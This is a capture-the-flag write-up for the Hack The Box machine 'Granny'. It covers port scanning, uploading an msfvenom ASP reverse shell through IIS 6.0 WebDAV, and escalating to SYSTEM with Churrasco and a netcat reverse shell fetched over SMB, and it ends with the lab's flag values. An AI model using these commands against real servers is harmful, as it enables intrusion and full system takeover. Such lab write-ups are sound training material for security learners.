# Granny ![](/files/yGCDEMucfKIec8Vy28nE) ## Enumeration As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports. The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file: > nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.15 -oN allPorts * `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections. * `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second. * `-p-` scanning the entire port range, **from 1 to 65535**. * `-T5` **insane** mode, it is the fastest mode of the nmap time template. * `-Pn` assume the host is **online**. * `-n` scan without reverse **DNS** resolution. * `-oN` **save** the scan result into a file, in this case the *allports* file. ``` # Nmap 7.92 scan initiated Tue Jun 28 14:57:28 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.15 Nmap scan report for 10.10.10.15 Host is up (0.048s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http # Nmap done at Tue Jun 28 14:57:55 2022 -- 1 IP address (1 host up) scanned in 27.18 seconds ``` Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file: > nmap -sC -sV -p80 10.10.10.15 -oN targeted * `-sC` performs the scan using the default set of **scripts**. * `-sV` enables **version** detection. * `-oN` **save** the scan result into file, in this case the *targeted* file. ``` # Nmap 7.92 scan initiated Tue Jun 28 14:58:12 2022 as: nmap -sCV -p80 -oN targeted 10.10.10.15 Nmap scan report for 10.10.10.15 Host is up (0.036s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_http-server-header: Microsoft-IIS/6.0 | http-webdav-scan: | Server Type: Microsoft-IIS/6.0 | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK | Server Date: Tue, 28 Jun 2022 12:58:23 GMT |_ WebDAV type: Unknown |_http-title: Under Construction Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jun 28 14:58:22 2022 -- 1 IP address (1 host up) scanned in 9.98 seconds ``` ## Exploitation As we can see in the *nmap* scan, *HTTP* methods such as `PUT` or `COPY` can be used in the web server. We could try to use the cadaver tool, and see if we can upload malicious payload on the web server. > cadaver 10.10.10.15 > > dav:/> ls ``` Listing collection `/': succeeded. Coll: _private 0 Apr 12 2017 Coll: _vti_bin 0 Apr 12 2017 Coll: _vti_cnf 0 Apr 12 2017 Coll: _vti_log 0 Apr 12 2017 Coll: _vti_pvt 0 Apr 12 2017 Coll: _vti_script 0 Apr 12 2017 Coll: _vti_txt 0 Apr 12 2017 Coll: aspnet_client 0 Apr 12 2017 Coll: images 0 Apr 12 2017 _vti_inf.html 1754 Apr 12 2017 iisstart.htm 1433 Feb 21 2003 pagerror.gif 2806 Feb 21 2003 postinfo.html 2440 Apr 12 2017 ``` We can see all the files in the directory. As we can see in this [exploit](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav#iis5-6-webdav-vulnerability), we could upload a malicious file with the `.txt` extension, and then rename it to `.asp` so we can execute it. First, let's create the malicious file with the `.txt` extension. > msfvenom -p windows/shell\_reverse\_tcp lhost=10.10.14.7 lport=4444 -f asp -o shell.txt * `-p` indicates the type of **payload**. * `lhost` local **host** IP. * `lport` local **port** of the listener. * `-f` output **format**. * `-o` save the output to a **file**. Now, let's upload it with the *cadaver* shell. > dav:/> put shell.txt ``` Uploading shell.txt to `/shell.txt': Progress: [=============================>] 100.0% of 38470 bytes succeeded. ``` Now, we'll have to rename it so it has the `.asp` extension. > dav:/> copy shell.txt shell.asp;.txt ``` Copying `/shell.txt' to `/shell.asp%3b.txt': succeeded. ``` Before executing the file, let's set a *netcat* listener on port *4444* with *rlwrap*. > rlwrap nc -lvnp 4444 * `-l` **listen** mode. * `-v` **verbose** mode. * `-n` **numeric-only** IP, no DNS resolution. * `-p` specify the **port** to listen on. Finally, if we access the `shell.asp` file, we should get a reverse shell as the `nt authority\network service` user. > curl "" ``` listening on [any] 4444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1031 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. whoami whoami nt authority\network service ``` ## Privilege Escalation Let's see what privileges the user `nt authority\network service` has. > whoami /priv ``` PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAuditPrivilege Generate security audits Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled ``` If a user has the *SeImpersonatePrivilege*, the first thing that comes to mind is *JuicyPotato*. {% hint style="info" %} **JuicyPotato** is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that *SeImpersonate* or *SeAssignPrimaryToken* are enabled. {% endhint %} To escalate privileges, we'll have to transfer `JuicyPotato.exe` to the victim machine. Let's set a *SMB* server with the *impacket* library, on the directory where we have the *JuicyPotato* binary. > impacket-smbserver sambaFolder $(pwd) -smb2support And download the binaries from the `\windows\temp` folder. > copy \\\10.10.14.7\sambaFolder\JuicyPotato.exe JuicyPotato.exe If we execute it, we'll get an error saying that the binary is incompatible with the system architecture. > JuicyPotato.exe ``` The image file C:\WINDOWS\Temp\JuicyPotato.exe is valid, but is for a machine type other than the current machine. ``` But, no worries, there is an alternative to *JuicyPotato*. It is called *Churrasco*, and you can download it from [here](https://github.com/Re4son/Churrasco/raw/master/churrasco.exe). Once you download it, transfer it to the *Windows* machine with the same method we did before. And if we execute it indicating the *whoami* command, we'll see that we can execute commands as the `nt authority\system` user. > churrasco.exe "whoami" ``` nt authority\system ``` Let's get a shell as the `nt authority\system` user. First, let's set a *netcat* listener on port *5555*. > rlwrap nc -lvnp 5555 * `-l` **listen** mode. * `-v` **verbose** mode. * `-n` **numeric-only** IP, no DNS resolution. * `-p` specify the **port** to listen on. Then, let's set another SMB server on the directory where the `nc.exe` binary is. > impacket-smbserver sambaFolder $(pwd) -smb2support And finally, execute the following command on the *Windows* machine, which will send a shell as the `nt authority\system` user to the netcat listener. > churrasco.exe "\\\10.10.14.7\sambaFolder\nc.exe -e cmd 10.10.14.7 5555" ``` listening on [any] 5555 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.15] 1037 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. whoami whoami nt authority\system ``` Finally, all we have to do is reap the harvest and take the user and the root flag. ``` type "\Documents and Settings\Lakis\desktop\user.txt" 700c5dc163014e22b3e408f8703f67d1 type "\Documents and Settings\administrator\desktop\root.txt" aa4beed1c0584445ab463a6747bd06e9 ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://alfa8sa.gitbook.io/htb-writeups/windows-machines/granny.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.